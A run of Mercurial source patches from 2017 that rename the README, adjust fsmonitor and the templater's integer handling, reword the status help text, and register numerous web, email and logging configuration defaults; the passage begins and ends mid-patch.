+  |/     Obsfate: rewritten using amend as 2:a468dc9b3633 by test (at 2009-02-13 23:31 +0000);
   o  ea207398892e
   
   $ hg fatelogjson --hidden
@@ -199,7 +199,7 @@
   | x  a468dc9b3633
   |/     Obsfate: [{"markers": [["a468dc9b36338b14fdb7825f55ce3df4e71517ad", ["d004c8f274b9ec480a47a93c10dac5eee63adb78"], 0, [["operation", "amend"], ["user", "test2"]], [987654321.0, 0], null]], "successors": ["d004c8f274b9ec480a47a93c10dac5eee63adb78"]}]
   | x  471f378eab4c
-  |/     Obsfate: [{"markers": [["471f378eab4c5e25f6c77f785b27c936efb22874", ["a468dc9b36338b14fdb7825f55ce3df4e71517ad"], 0, [["operation", "amend"], ["user", "test1"]], [1234567890.0, 0], null]], "successors": ["a468dc9b36338b14fdb7825f55ce3df4e71517ad"]}]
+  |/     Obsfate: [{"markers": [["471f378eab4c5e25f6c77f785b27c936efb22874", ["a468dc9b36338b14fdb7825f55ce3df4e71517ad"], 0, [["operation", "amend"], ["user", "test"]], [1234567890.0, 0], null]], "successors": ["a468dc9b36338b14fdb7825f55ce3df4e71517ad"]}]
   o  ea207398892e
   
 Test templates with splitted commit
# HG changeset patch
# User David Demelier <markand@malikania.fr>
# Date 1506407837 -7200
#      Tue Sep 26 08:37:17 2017 +0200
# Node ID 1b59287a1cfa3074c092837a5f8ecb63cb6e1933
# Parent  794018ed8af058528a5678888e970dcfa7f355a3
doc: rename README to README.rst

Many hosting services consider README without extension as plain text. By using
.rst extension, we bring better formatting on many services (e.g. bitbucket).

diff --git a/README b/README.rst
rename from README
rename to README.rst
diff --git a/tests/test-check-code.t b/tests/test-check-code.t
--- a/tests/test-check-code.t
+++ b/tests/test-check-code.t
@@ -47,7 +47,7 @@
   CONTRIBUTORS
   COPYING
   Makefile
-  README
+  README.rst
   hg
   hgeditor
   hgweb.cgi
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1507578442 25200
#      Mon Oct 09 12:47:22 2017 -0700
# Node ID 7259f0ddfc0f18138420e7c9c7e4145a25016d7b
# Parent  1b59287a1cfa3074c092837a5f8ecb63cb6e1933
fsmonitor: update to match new dirstate refactor

The dirstate was refactored so dirstate._map is now at dirstate._map._map. Same
for _copymap, is not _map.copymap. It seems none of the mercurial tests cover
this stuff, but it was caught by our Facebook extension tests.

Differential Revision: https://phab.mercurial-scm.org/D945

diff --git a/hgext/fsmonitor/__init__.py b/hgext/fsmonitor/__init__.py
--- a/hgext/fsmonitor/__init__.py
+++ b/hgext/fsmonitor/__init__.py
@@ -251,7 +251,7 @@
 
     matchfn = match.matchfn
     matchalways = match.always()
-    dmap = self._map
+    dmap = self._map._map
     nonnormalset = getattr(self, '_nonnormalset', None)
 
     copymap = self._map.copymap
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1505830426 -32400
#      Tue Sep 19 23:13:46 2017 +0900
# Node ID ee0d74083a22b4381b6a8bf1623e5a2bbdce58d2
# Parent  7259f0ddfc0f18138420e7c9c7e4145a25016d7b
templater: store revisions as ints so min/max won't compare them as strings

Because a template value has no explicit type (like ancient PHP), ifcontains()
has to coerce the type of the needle. Before, it was always converted to a
string, which meant any container type should be a list/dict of strings.
This no longer works since we've introduced min/max functions.

In order to work around the untyped nature of templater, this patch adds
a type specifier to hybrid dict/list. It isn't named as "valuetype" since
the _hybrid class can also wrap a dict.

diff --git a/mercurial/templatekw.py b/mercurial/templatekw.py
--- a/mercurial/templatekw.py
+++ b/mercurial/templatekw.py
@@ -37,12 +37,13 @@
     - "{files|json}"
     """
 
-    def __init__(self, gen, values, makemap, joinfmt):
+    def __init__(self, gen, values, makemap, joinfmt, keytype=None):
         if gen is not None:
             self.gen = gen  # generator or function returning generator
         self._values = values
         self._makemap = makemap
         self.joinfmt = joinfmt
+        self.keytype = keytype  # hint for 'x in y' where type(x) is unresolved
     def gen(self):
         """Default generator to stringify this as {join(self, ' ')}"""
         for i, x in enumerate(self._values):
@@ -788,15 +789,14 @@
     repo = args['repo']
     ctx = args['ctx']
     pctxs = scmutil.meaningfulparents(repo, ctx)
-    # ifcontains() needs a list of str
-    prevs = ["%d" % p.rev() for p in pctxs]
+    prevs = [p.rev() for p in pctxs]
     parents = [[('rev', p.rev()),
                 ('node', p.hex()),
                 ('phase', p.phasestr())]
                for p in pctxs]
     f = _showlist('parent', parents, args)
-    return _hybrid(f, prevs, lambda x: {'ctx': repo[int(x)], 'revcache': {}},
-                   lambda x: scmutil.formatchangeid(repo[int(x)]))
+    return _hybrid(f, prevs, lambda x: {'ctx': repo[x], 'revcache': {}},
+                   lambda x: scmutil.formatchangeid(repo[x]), keytype=int)
 
 @templatekeyword('phase')
 def showphase(repo, ctx, templ, **args):
@@ -818,12 +818,10 @@
     be evaluated"""
     args = pycompat.byteskwargs(args)
     repo = args['ctx'].repo()
-    # ifcontains() needs a list of str
-    revs = ["%d" % r for r in revs]
-    f = _showlist(name, revs, args)
+    f = _showlist(name, ['%d' % r for r in revs], args)
     return _hybrid(f, revs,
-                   lambda x: {name: x, 'ctx': repo[int(x)], 'revcache': {}},
-                   pycompat.identity)
+                   lambda x: {name: x, 'ctx': repo[x], 'revcache': {}},
+                   pycompat.identity, keytype=int)
 
 @templatekeyword('subrepos')
 def showsubrepos(**args):
diff --git a/mercurial/templater.py b/mercurial/templater.py
--- a/mercurial/templater.py
+++ b/mercurial/templater.py
@@ -333,12 +333,12 @@
     # empty dict/list should be False as they are expected to be ''
     return bool(stringify(thing))
 
-def evalinteger(context, mapping, arg, err):
+def evalinteger(context, mapping, arg, err=None):
     v = evalfuncarg(context, mapping, arg)
     try:
         return int(v)
     except (TypeError, ValueError):
-        raise error.ParseError(err)
+        raise error.ParseError(err or _('not an integer'))
 
 def evalstring(context, mapping, arg):
     return stringify(evalrawexp(context, mapping, arg))
@@ -353,6 +353,20 @@
         thing = func(context, mapping, data)
     return stringify(thing)
 
+_evalfuncbytype = {
+    bool: evalboolean,
+    bytes: evalstring,
+    int: evalinteger,
+}
+
+def evalastype(context, mapping, arg, typ):
+    """Evaluate given argument and coerce its type"""
+    try:
+        f = _evalfuncbytype[typ]
+    except KeyError:
+        raise error.ProgrammingError('invalid type specified: %r' % typ)
+    return f(context, mapping, arg)
+
 def runinteger(context, mapping, data):
     return int(data)
 
@@ -782,8 +796,9 @@
         # i18n: "ifcontains" is a keyword
         raise error.ParseError(_("ifcontains expects three or four arguments"))
 
-    needle = evalstring(context, mapping, args[0])
     haystack = evalfuncarg(context, mapping, args[1])
+    needle = evalastype(context, mapping, args[0],
+                        getattr(haystack, 'keytype', None) or bytes)
 
     if needle in haystack:
         yield evalrawexp(context, mapping, args[2])
diff --git a/tests/test-command-template.t b/tests/test-command-template.t
--- a/tests/test-command-template.t
+++ b/tests/test-command-template.t
@@ -3147,6 +3147,13 @@
   $ hg log -R latesttag -r tip -T '{join(get(extras, "branch"), "")}\n'
   default
 
+Test min/max of integers
+
+  $ hg log -R latesttag -l1 -T '{min(revset("9:10"))}\n'
+  9
+  $ hg log -R latesttag -l1 -T '{max(revset("9:10"))}\n'
+  10
+
 Test dot operator precedence:
 
   $ hg debugtemplate -R latesttag -r0 -v '{manifest.node|short}\n'
# HG changeset patch
# User Kevin Bullock <kbullock+mercurial@ringworld.org>
# Date 1507649255 18000
#      Tue Oct 10 10:27:35 2017 -0500
# Node ID 6ce2d81968aa4869e5ced07b5017d1e8547aaf3a
# Parent  ee0d74083a22b4381b6a8bf1623e5a2bbdce58d2
status: copy-edit and improve --terse and --verbose help

diff --git a/mercurial/commands.py b/mercurial/commands.py
--- a/mercurial/commands.py
+++ b/mercurial/commands.py
@@ -4719,28 +4719,23 @@
 
     .. container:: verbose
 
-      The -t/--terse option abbreviates the output by showing directory name
-      if all the files in it share the same status. The option expects a value
-      which can be a string formed by using 'm', 'a', 'r', 'd', 'u', 'i', 'c'
-      where, 'm' stands for 'modified', 'a' for 'added', 'r' for 'removed',
-      'd' for 'deleted', 'u' for 'unknown', 'i' for 'ignored' and 'c' for clean.
-
-      It terses the output of only those status which are passed. The ignored
-      files are not considered while tersing until 'i' is there in --terse value
-      or the --ignored option is used.
-
-      --verbose option shows more context about the state of the repo
-      like the repository is in unfinised merge, shelve, rebase state etc.
-      You can have this behaviour turned on by default by following config:
-
-      [commands]
-      status.verbose = true
-
-      You can also skip some states like bisect by adding following in
-      configuration file.
-
-      [commands]
-      status.skipstates = bisect
+      The -t/--terse option abbreviates the output by showing only the directory
+      name if all the files in it share the same status. The option takes an
+      argument indicating the statuses to abbreviate: 'm' for 'modified', 'a'
+      for 'added', 'r' for 'removed', 'd' for 'deleted', 'u' for 'unknown', 'i'
+      for 'ignored' and 'c' for clean.
+
+      It abbreviates only those statuses which are passed. Note that ignored
+      files are not displayed with '--terse i' unless the -i/--ignored option is
+      also used.
+
+      The -v/--verbose option shows information when the repository is in an
+      unfinished merge, shelve, rebase state etc. You can have this behavior
+      turned on by default by enabling the ``commands.status.verbose`` option.
+
+      You can skip displaying some of these states by setting
+      ``commands.status.skipstates`` to one or more of: 'bisect', 'graft',
+      'histedit', 'merge', 'rebase', or 'unshelve'.
 
       Examples:
 
@@ -4762,7 +4757,13 @@
 
           hg status -an0
 
+      - show more information about the repository status, abbreviating
+        added, removed, modified, deleted, and untracked paths::
+
+          hg status -v -t mardu
+
     Returns 0 on success.
+
     """
 
     opts = pycompat.byteskwargs(opts)
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507728357 -7200
#      Wed Oct 11 15:25:57 2017 +0200
# Node ID 19b2c062654c10d51e34a515971059813d68d0f7
# Parent  6ce2d81968aa4869e5ced07b5017d1e8547aaf3a
configitems: fix registration for 'blackbox.track' config

Default mutable values could be problematic. Use a lambda that returns the
value instead.

Thanks to martin for catching this bug.

diff --git a/hgext/blackbox.py b/hgext/blackbox.py
--- a/hgext/blackbox.py
+++ b/hgext/blackbox.py
@@ -71,7 +71,7 @@
     default=False,
 )
 configitem('blackbox', 'track',
-    default=['*'],
+    default=lambda: ['*'],
 )
 
 lastui = None
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507684684 -7200
#      Wed Oct 11 03:18:04 2017 +0200
# Node ID bf2389b1f15e36a49321894000ca3864dbe9d4a3
# Parent  19b2c062654c10d51e34a515971059813d68d0f7
configitems: register the 'web.view' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -748,6 +748,9 @@
 coreconfigitem('web', 'templates',
     default=None,
 )
+coreconfigitem('web', 'view',
+    default='served',
+)
 coreconfigitem('worker', 'backgroundclose',
     default=dynamicdefault,
 )
diff --git a/mercurial/hgweb/hgweb_mod.py b/mercurial/hgweb/hgweb_mod.py
--- a/mercurial/hgweb/hgweb_mod.py
+++ b/mercurial/hgweb/hgweb_mod.py
@@ -482,8 +482,8 @@
 
     The option has been around undocumented since Mercurial 2.5, but no
     user ever asked about it. So we better keep it undocumented for now."""
-    viewconfig = repo.ui.config('web', 'view', 'served',
-                                untrusted=True)
+    # experimental config: web.view
+    viewconfig = repo.ui.config('web', 'view', untrusted=True)
     if viewconfig == 'all':
         return repo.unfiltered()
     elif viewconfig in repoview.filtertable:
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507685349 -7200
#      Wed Oct 11 03:29:09 2017 +0200
# Node ID f28c85e29afc8c1dd3a2f4994235dda4c9929626
# Parent  bf2389b1f15e36a49321894000ca3864dbe9d4a3
configitems: register the 'web.push_ssl' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -736,6 +736,9 @@
 coreconfigitem('web', 'prefix',
     default='',
 )
+coreconfigitem('web', 'push_ssl',
+    default=True,
+)
 coreconfigitem('web', 'refreshinterval',
     default=20,
 )
diff --git a/mercurial/hgweb/common.py b/mercurial/hgweb/common.py
--- a/mercurial/hgweb/common.py
+++ b/mercurial/hgweb/common.py
@@ -69,7 +69,7 @@
     # require ssl by default for pushing, auth info cannot be sniffed
     # and replayed
     scheme = req.env.get('wsgi.url_scheme')
-    if hgweb.configbool('web', 'push_ssl', True) and scheme != 'https':
+    if hgweb.configbool('web', 'push_ssl') and scheme != 'https':
         raise ErrorResponse(HTTP_FORBIDDEN, 'ssl required')
 
     deny = hgweb.configlist('web', 'deny_push')
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507685579 -7200
#      Wed Oct 11 03:32:59 2017 +0200
# Node ID c364f3f7363493b663f350d8c5040b5b870beaed
# Parent  f28c85e29afc8c1dd3a2f4994235dda4c9929626
configitems: register the 'web.name' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -730,6 +730,9 @@
 coreconfigitem('web', 'ipv6',
     default=False,
 )
+coreconfigitem('web', 'name',
+    default=dynamicdefault,
+)
 coreconfigitem('web', 'port',
     default=8000,
 )
diff --git a/mercurial/hgweb/hgweb_mod.py b/mercurial/hgweb/hgweb_mod.py
--- a/mercurial/hgweb/hgweb_mod.py
+++ b/mercurial/hgweb/hgweb_mod.py
@@ -191,7 +191,7 @@
         sessionvars = webutil.sessionvars(vars, start)
 
         if not self.reponame:
-            self.reponame = (self.config('web', 'name')
+            self.reponame = (self.config('web', 'name', '')
                              or req.env.get('REPO_NAME')
                              or req.url.strip('/') or self.repo.root)
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507685804 -7200
#      Wed Oct 11 03:36:44 2017 +0200
# Node ID b50c036494dc73ed324ac17ed2981582d2505964
# Parent  c364f3f7363493b663f350d8c5040b5b870beaed
configitems: register the 'web.motd' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -730,6 +730,9 @@
 coreconfigitem('web', 'ipv6',
     default=False,
 )
+coreconfigitem('web', 'motd',
+    default='',
+)
 coreconfigitem('web', 'name',
     default=dynamicdefault,
 )
diff --git a/mercurial/hgweb/hgweb_mod.py b/mercurial/hgweb/hgweb_mod.py
--- a/mercurial/hgweb/hgweb_mod.py
+++ b/mercurial/hgweb/hgweb_mod.py
@@ -177,7 +177,7 @@
         # some functions for the templater
 
         def motd(**map):
-            yield self.config('web', 'motd', '')
+            yield self.config('web', 'motd')
 
         # figure out which style to use
 
diff --git a/mercurial/hgweb/hgwebdir_mod.py b/mercurial/hgweb/hgwebdir_mod.py
--- a/mercurial/hgweb/hgwebdir_mod.py
+++ b/mercurial/hgweb/hgwebdir_mod.py
@@ -491,7 +491,7 @@
             if self.motd is not None:
                 yield self.motd
             else:
-                yield config('web', 'motd', '')
+                yield config('web', 'motd')
 
         def config(section, name, default=uimod._unset, untrusted=True):
             return self.ui.config(section, name, default, untrusted)
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507685961 -7200
#      Wed Oct 11 03:39:21 2017 +0200
# Node ID 0d9928a672543256b77c4b8286df804b5dc5a183
# Parent  b50c036494dc73ed324ac17ed2981582d2505964
configitems: register the 'web.maxshortchanges' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -730,6 +730,9 @@
 coreconfigitem('web', 'ipv6',
     default=False,
 )
+coreconfigitem('web', 'maxshortchanges',
+    default=60,
+)
 coreconfigitem('web', 'motd',
     default='',
 )
diff --git a/mercurial/hgweb/hgweb_mod.py b/mercurial/hgweb/hgweb_mod.py
--- a/mercurial/hgweb/hgweb_mod.py
+++ b/mercurial/hgweb/hgweb_mod.py
@@ -112,7 +112,7 @@
 
         self.maxchanges = self.configint('web', 'maxchanges', 10)
         self.stripecount = self.configint('web', 'stripes')
-        self.maxshortchanges = self.configint('web', 'maxshortchanges', 60)
+        self.maxshortchanges = self.configint('web', 'maxshortchanges')
         self.maxfiles = self.configint('web', 'maxfiles', 10)
         self.allowpull = self.configbool('web', 'allowpull', True)
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507686061 -7200
#      Wed Oct 11 03:41:01 2017 +0200
# Node ID 883d062119736690e9669515220228d789ea2883
# Parent  0d9928a672543256b77c4b8286df804b5dc5a183
configitems: register the 'web.maxfiles' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -730,6 +730,9 @@
 coreconfigitem('web', 'ipv6',
     default=False,
 )
+coreconfigitem('web', 'maxfiles',
+    default=10,
+)
 coreconfigitem('web', 'maxshortchanges',
     default=60,
 )
diff --git a/mercurial/hgweb/hgweb_mod.py b/mercurial/hgweb/hgweb_mod.py
--- a/mercurial/hgweb/hgweb_mod.py
+++ b/mercurial/hgweb/hgweb_mod.py
@@ -113,7 +113,7 @@
         self.maxchanges = self.configint('web', 'maxchanges', 10)
         self.stripecount = self.configint('web', 'stripes')
         self.maxshortchanges = self.configint('web', 'maxshortchanges')
-        self.maxfiles = self.configint('web', 'maxfiles', 10)
+        self.maxfiles = self.configint('web', 'maxfiles')
         self.allowpull = self.configbool('web', 'allowpull', True)
 
         # we use untrusted=False to prevent a repo owner from using
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507686108 -7200
#      Wed Oct 11 03:41:48 2017 +0200
# Node ID 95f4e5b1ec921c3a0b8796063323f6f8dfc6f6d6
# Parent  883d062119736690e9669515220228d789ea2883
configitems: register the 'web.maxchanges' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -730,6 +730,9 @@
 coreconfigitem('web', 'ipv6',
     default=False,
 )
+coreconfigitem('web', 'maxchanges',
+    default=10,
+)
 coreconfigitem('web', 'maxfiles',
     default=10,
 )
diff --git a/mercurial/hgweb/hgweb_mod.py b/mercurial/hgweb/hgweb_mod.py
--- a/mercurial/hgweb/hgweb_mod.py
+++ b/mercurial/hgweb/hgweb_mod.py
@@ -110,7 +110,7 @@
 
         self.archivespecs = archivespecs
 
-        self.maxchanges = self.configint('web', 'maxchanges', 10)
+        self.maxchanges = self.configint('web', 'maxchanges')
         self.stripecount = self.configint('web', 'stripes')
         self.maxshortchanges = self.configint('web', 'maxshortchanges')
         self.maxfiles = self.configint('web', 'maxfiles')
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507686314 -7200
#      Wed Oct 11 03:45:14 2017 +0200
# Node ID f00eef0922ff79d329eb3eacaad57f11d11558da
# Parent  95f4e5b1ec921c3a0b8796063323f6f8dfc6f6d6
configitems: register the 'pager.pager' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -383,6 +383,9 @@
 coreconfigitem('pager', 'ignore',
     default=list,
 )
+coreconfigitem('pager', 'pager',
+    default=dynamicdefault,
+)
 coreconfigitem('patch', 'eol',
     default='strict',
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507686544 -7200
#      Wed Oct 11 03:49:04 2017 +0200
# Node ID e7dbccabc982a208d0e979b1c7ecfb13d49a8c57
# Parent  f00eef0922ff79d329eb3eacaad57f11d11558da
configitems: register the 'logtoprocess.commandexception' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -368,6 +368,9 @@
 coreconfigitem('http_proxy', 'user',
     default=None,
 )
+coreconfigitem('logtoprocess', 'commandexception',
+    default=None,
+)
 coreconfigitem('merge', 'checkunknown',
     default='abort',
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507686561 -7200
#      Wed Oct 11 03:49:21 2017 +0200
# Node ID 10f8f20e013724d07c4e7a0191d079d222ad6cea
# Parent  e7dbccabc982a208d0e979b1c7ecfb13d49a8c57
configitems: register the 'logtoprocess.commandfinish' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -371,6 +371,9 @@
 coreconfigitem('logtoprocess', 'commandexception',
     default=None,
 )
+coreconfigitem('logtoprocess', 'commandfinish',
+    default=None,
+)
 coreconfigitem('merge', 'checkunknown',
     default='abort',
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507686587 -7200
#      Wed Oct 11 03:49:47 2017 +0200
# Node ID 728ecab6634bd6a46c9104f97301b48cae459a95
# Parent  10f8f20e013724d07c4e7a0191d079d222ad6cea
configitems: register the 'logtoprocess.command' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -374,6 +374,9 @@
 coreconfigitem('logtoprocess', 'commandfinish',
     default=None,
 )
+coreconfigitem('logtoprocess', 'command',
+    default=None,
+)
 coreconfigitem('merge', 'checkunknown',
     default='abort',
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507686614 -7200
#      Wed Oct 11 03:50:14 2017 +0200
# Node ID 54d916833ca518a9c17c53472b7adf4fa9d6dd3a
# Parent  728ecab6634bd6a46c9104f97301b48cae459a95
configitems: register the 'logtoprocess.develwarn' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -377,6 +377,9 @@
 coreconfigitem('logtoprocess', 'command',
     default=None,
 )
+coreconfigitem('logtoprocess', 'develwarn',
+    default=None,
+)
 coreconfigitem('merge', 'checkunknown',
     default='abort',
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507686624 -7200
#      Wed Oct 11 03:50:24 2017 +0200
# Node ID c2dea46d0f230fee7091279c9ad7cb7d3c6af940
# Parent  54d916833ca518a9c17c53472b7adf4fa9d6dd3a
configitems: register the 'logtoprocess.uiblocked' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -380,6 +380,9 @@
 coreconfigitem('logtoprocess', 'develwarn',
     default=None,
 )
+coreconfigitem('logtoprocess', 'uiblocked',
+    default=None,
+)
 coreconfigitem('merge', 'checkunknown',
     default='abort',
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507686838 -7200
#      Wed Oct 11 03:53:58 2017 +0200
# Node ID 76d48132eb01bd5a4415ad4c5c00ae5b2e5f9672
# Parent  c2dea46d0f230fee7091279c9ad7cb7d3c6af940
configitems: register the 'email.bcc' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -191,6 +191,9 @@
 coreconfigitem('diff', 'noprefix',
     default=None,
 )
+coreconfigitem('email', 'bcc',
+    default=None,
+)
 coreconfigitem('email', 'charsets',
     default=list,
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507686845 -7200
#      Wed Oct 11 03:54:05 2017 +0200
# Node ID 0a68c615706c2be9b3fa740663b2936c7f1c9613
# Parent  76d48132eb01bd5a4415ad4c5c00ae5b2e5f9672
configitems: register the 'email.cc' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -194,6 +194,9 @@
 coreconfigitem('email', 'bcc',
     default=None,
 )
+coreconfigitem('email', 'cc',
+    default=None,
+)
 coreconfigitem('email', 'charsets',
     default=list,
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507686859 -7200
#      Wed Oct 11 03:54:19 2017 +0200
# Node ID 263a736aed9baede11846d29913cb84e806b0514
# Parent  0a68c615706c2be9b3fa740663b2936c7f1c9613
configitems: register the 'email.reply-to' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -206,6 +206,9 @@
 coreconfigitem('email', 'method',
     default='smtp',
 )
+coreconfigitem('email', 'reply-to',
+    default=None,
+)
 coreconfigitem('experimental', 'allowdivergence',
     default=False,
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507687943 -7200
#      Wed Oct 11 04:12:23 2017 +0200
# Node ID 2d07d20d5a78419c2bc717a3eaef038122ffb460
# Parent  263a736aed9baede11846d29913cb84e806b0514
configitems: register the 'web.allowbz2' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -712,6 +712,9 @@
 coreconfigitem('verify', 'skipflags',
     default=None,
 )
+coreconfigitem('web', 'allowbz2',
+    default=None,
+)
 coreconfigitem('web', 'accesslog',
     default='-',
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507687954 -7200
#      Wed Oct 11 04:12:34 2017 +0200
# Node ID 8f4d54b74206b8926b6f91ecc2b01da4f027fe75
# Parent  2d07d20d5a78419c2bc717a3eaef038122ffb460
configitems: register the 'web.allowgz' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -715,6 +715,9 @@
 coreconfigitem('web', 'allowbz2',
     default=None,
 )
+coreconfigitem('web', 'allowgz',
+    default=None,
+)
 coreconfigitem('web', 'accesslog',
     default='-',
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507687970 -7200
#      Wed Oct 11 04:12:50 2017 +0200
# Node ID 56816cfc4951c57fe15f75d0d79f631c5b61dffc
# Parent  8f4d54b74206b8926b6f91ecc2b01da4f027fe75
configitems: register the 'web.allowpull' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -718,6 +718,9 @@
 coreconfigitem('web', 'allowgz',
     default=None,
 )
+coreconfigitem('web', 'allowpull',
+    default=True,
+)
 coreconfigitem('web', 'accesslog',
     default='-',
 )
diff --git a/mercurial/hgweb/hgweb_mod.py b/mercurial/hgweb/hgweb_mod.py
--- a/mercurial/hgweb/hgweb_mod.py
+++ b/mercurial/hgweb/hgweb_mod.py
@@ -114,7 +114,7 @@
         self.stripecount = self.configint('web', 'stripes')
         self.maxshortchanges = self.configint('web', 'maxshortchanges')
         self.maxfiles = self.configint('web', 'maxfiles')
-        self.allowpull = self.configbool('web', 'allowpull', True)
+        self.allowpull = self.configbool('web', 'allowpull')
 
         # we use untrusted=False to prevent a repo owner from using
         # web.templates in .hg/hgrc to get access to any file readable
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507688041 -7200
#      Wed Oct 11 04:14:01 2017 +0200
# Node ID cc5445ced1775b236f6a0b97d30c1397bc0bab24
# Parent  56816cfc4951c57fe15f75d0d79f631c5b61dffc
configitems: register the 'web.allow_push' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -721,6 +721,9 @@
 coreconfigitem('web', 'allowpull',
     default=True,
 )
+coreconfigitem('web', 'allow_push',
+    default=list,
+)
 coreconfigitem('web', 'accesslog',
     default='-',
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507688054 -7200
#      Wed Oct 11 04:14:14 2017 +0200
# Node ID dcd6b6625e9807546cbe6cd4442802ac66e3c821
# Parent  cc5445ced1775b236f6a0b97d30c1397bc0bab24
configitems: register the 'web.allowzip' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -724,6 +724,9 @@
 coreconfigitem('web', 'allow_push',
     default=list,
 )
+coreconfigitem('web', 'allowzip',
+    default=None,
+)
 coreconfigitem('web', 'accesslog',
     default='-',
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507688073 -7200
#      Wed Oct 11 04:14:33 2017 +0200
# Node ID 625202a44d88d05f4ccbc573bb3149ab7d702324
# Parent  dcd6b6625e9807546cbe6cd4442802ac66e3c821
configitems: register the 'web.cache' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -727,6 +727,9 @@
 coreconfigitem('web', 'allowzip',
     default=None,
 )
+coreconfigitem('web', 'cache',
+    default=True,
+)
 coreconfigitem('web', 'accesslog',
     default='-',
 )
diff --git a/mercurial/hgweb/hgweb_mod.py b/mercurial/hgweb/hgweb_mod.py
--- a/mercurial/hgweb/hgweb_mod.py
+++ b/mercurial/hgweb/hgweb_mod.py
@@ -436,7 +436,7 @@
 
             # Don't enable caching if using a CSP nonce because then it wouldn't
             # be a nonce.
-            if rctx.configbool('web', 'cache', True) and not rctx.nonce:
+            if rctx.configbool('web', 'cache') and not rctx.nonce:
                 caching(self, req) # sets ETag header or raises NOT_MODIFIED
             if cmd not in webcommands.__all__:
                 msg = 'no such method: %s' % cmd
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507688084 -7200
#      Wed Oct 11 04:14:44 2017 +0200
# Node ID db935a5ea36442485df9ca27babcfc46a9f29044
# Parent  625202a44d88d05f4ccbc573bb3149ab7d702324
configitems: register the 'web.contact' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -730,6 +730,9 @@
 coreconfigitem('web', 'cache',
     default=True,
 )
+coreconfigitem('web', 'contact',
+    default=None,
+)
 coreconfigitem('web', 'accesslog',
     default='-',
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507688108 -7200
#      Wed Oct 11 04:15:08 2017 +0200
# Node ID 3e6b36ba16aca737f5c2cca6f6b2f385a059ad5c
